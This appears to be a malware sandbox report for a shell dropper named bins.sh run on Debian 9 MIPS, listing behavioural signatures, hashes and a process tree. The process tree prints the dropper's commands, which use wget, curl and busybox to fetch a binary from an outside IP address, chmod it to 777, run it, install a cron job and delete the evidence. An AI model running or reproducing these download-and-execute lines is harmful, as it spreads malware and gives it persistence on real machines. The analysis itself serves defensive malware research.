Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    23/01/2025, 15:22

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250123-srwhystndz
  • SHA256 505a626c966ea9a4aa39dfc55e109fa9c290f70dfe3c14ffc82e48d9e4182666
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • Contacts a large (1374) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:712
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:716
      • /usr/bin/wget
        wget http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Writes file to tmp directory
        PID:718
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Writes file to tmp directory
        PID:741
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Writes file to tmp directory
        PID:742
      • /bin/chmod
        chmod 777 X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • File and Directory Permissions Modification
        PID:756
      • /tmp/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        ./X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:758
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:760
            • /usr/bin/crontab
              crontab -l
              4⤵
              • Reads runtime system information
              PID:761
          • /bin/sh
            sh -c "crontab -"
            3⤵
              PID:763
              • /usr/bin/crontab
                crontab -
                4⤵
                • Creates/modifies Cron job
                PID:765
          • /bin/rm
            rm X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
            2⤵
              PID:776
            • /usr/bin/wget
              wget http://94.154.35.94/bins/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
              2⤵
                PID:781

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
                  • Path /tmp/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
                  • Size 151KB
                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  tmp.nyhciy
                  • Path /var/spool/cron/crontabs/tmp.nyhciy
                  • Size 210B
                  • SHA256 1e1178664373477dd823284605d8f9ae8e39564b774be770c9592df29f5ee618
                  • MD5 SHA1 SHA512
                  Submit Download